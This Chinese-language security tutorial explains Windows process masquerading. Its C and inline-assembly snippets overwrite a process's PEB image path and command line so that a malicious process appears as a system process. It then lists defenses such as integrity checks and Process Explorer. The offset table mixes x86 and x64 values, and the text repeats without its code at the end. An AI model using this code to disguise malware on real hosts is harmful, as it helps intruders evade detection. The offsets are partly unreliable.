初探进程伪装
字数 989 2025-08-24 23:51:15

进程伪装技术详解

前言

进程伪装是一种常见的权限维持技术,攻击者在获取主机权限后,通过修改进程信息使其看起来像系统关键进程,从而隐藏恶意行为。本文将深入探讨Windows平台下的进程伪装技术实现原理和方法。

基本原理

Windows系统中有许多关键系统进程(如winlogon.exe、explorer.exe、services.exe等),这些进程对系统正常运行至关重要。进程伪装的核心思想是将恶意进程伪装成这些系统进程,使其在任务管理器等工具中显示为合法系统进程。

关键技术点

PEB结构

PEB(Process Environment Block,进程环境块)是Windows内核中存储进程环境信息的数据结构,包含进程的各种关键信息。其结构定义如下:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged; // 被调试状态
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

PROCESS_BASIC_INFORMATION结构

通过NtQueryInformationProcess函数可以获取进程的基本信息,其中包含PEB地址:

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;  // PEB基地址
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

RTL_USER_PROCESS_PARAMETERS结构

该结构包含进程的路径和命令行参数信息:

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    // ...
    UNICODE_STRING ImagePathName;    // 可执行文件路径
    UNICODE_STRING CommandLine;      // 命令行参数
    // ...
} RTL_USER_PROCESS_PARAMETERS;

实现步骤

1. 获取进程句柄

HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

2. 获取NtQueryInformationProcess函数地址

typedef NTSTATUS (NTAPI *typedef_NtQueryInformationProcess)(
    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

NtQueryInformationProcess = (typedef_NtQueryInformationProcess)
    ::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

3. 查询进程基本信息获取PEB地址

PROCESS_BASIC_INFORMATION pbi = { 0 };
NTSTATUS status = NtQueryInformationProcess(
    hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

4. 读取PEB和进程参数

PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };

::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

5. 修改进程路径和命令行信息

// 修改命令行信息
USHORT CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);

// 修改路径信息
USHORT PathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);

汇编实现方法

也可以通过汇编直接获取PEB地址进行修改:

BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd) {
    PPEB peb = { 0 };
    __asm {
        mov eax,fs:[30h]  // FS段寄存器偏移0x30处是PEB指针
        mov peb,eax
    }
    
    USHORT usCmdLen = 2 + 2 * wcslen(lpwszCmd);
    (*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
    (*peb).ProcessParameters->CommandLine.Length = usCmdLen;

    USHORT usPathLen = 2 + 2 * wcslen(lpwszPath);
    (*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
    (*peb).ProcessParameters->ImagePathName.Length = usPathLen;

    return TRUE;
}

关键内存偏移

  • PEB定位:FS段寄存器偏移0x30处
  • ProcessParameters:PEB结构偏移0x20处
  • ImagePathName:RTL_USER_PROCESS_PARAMETERS结构偏移0x60处
  • CommandLine:RTL_USER_PROCESS_PARAMETERS结构偏移0x70处

防御措施

  1. 完整性检查:验证关键系统进程的签名和哈希值
  2. 行为监控:检测进程路径和命令行参数的异常修改
  3. 内存保护:防止关键进程内存被恶意修改
  4. 使用专业工具:如Sysinternals Suite中的Process Explorer等工具可以显示更详细的进程信息

总结

进程伪装是一种有效的权限维持技术,通过修改PEB中的进程路径和命令行信息,可以使恶意进程伪装成系统关键进程。理解其实现原理不仅有助于攻击测试,也能帮助防御者更好地检测此类隐蔽攻击。

进程伪装技术详解 前言 进程伪装是一种常见的权限维持技术,攻击者在获取主机权限后,通过修改进程信息使其看起来像系统关键进程,从而隐藏恶意行为。本文将深入探讨Windows平台下的进程伪装技术实现原理和方法。 基本原理 Windows系统中有许多关键系统进程(如winlogon.exe、explorer.exe、services.exe等),这些进程对系统正常运行至关重要。进程伪装的核心思想是将恶意进程伪装成这些系统进程,使其在任务管理器等工具中显示为合法系统进程。 关键技术点 PEB结构 PEB(Process Environment Block,进程环境块)是Windows内核中存储进程环境信息的数据结构,包含进程的各种关键信息。其结构定义如下: PROCESS_ BASIC_ INFORMATION结构 通过 NtQueryInformationProcess 函数可以获取进程的基本信息,其中包含PEB地址: RTL_ USER_ PROCESS_ PARAMETERS结构 该结构包含进程的路径和命令行参数信息: 实现步骤 1. 获取进程句柄 2. 获取NtQueryInformationProcess函数地址 3. 查询进程基本信息获取PEB地址 4. 读取PEB和进程参数 5. 修改进程路径和命令行信息 汇编实现方法 也可以通过汇编直接获取PEB地址进行修改: 关键内存偏移 PEB定位 :FS段寄存器偏移0x30处 ProcessParameters :PEB结构偏移0x20处 ImagePathName :RTL_ USER_ PROCESS_ PARAMETERS结构偏移0x60处 CommandLine :RTL_ USER_ PROCESS_ PARAMETERS结构偏移0x70处 防御措施 完整性检查 :验证关键系统进程的签名和哈希值 行为监控 :检测进程路径和命令行参数的异常修改 内存保护 :防止关键进程内存被恶意修改 使用专业工具 :如Sysinternals Suite中的Process Explorer等工具可以显示更详细的进程信息 总结 进程伪装是一种有效的权限维持技术,通过修改PEB中的进程路径和命令行信息,可以使恶意进程伪装成系统关键进程。理解其实现原理不仅有助于攻击测试,也能帮助防御者更好地检测此类隐蔽攻击。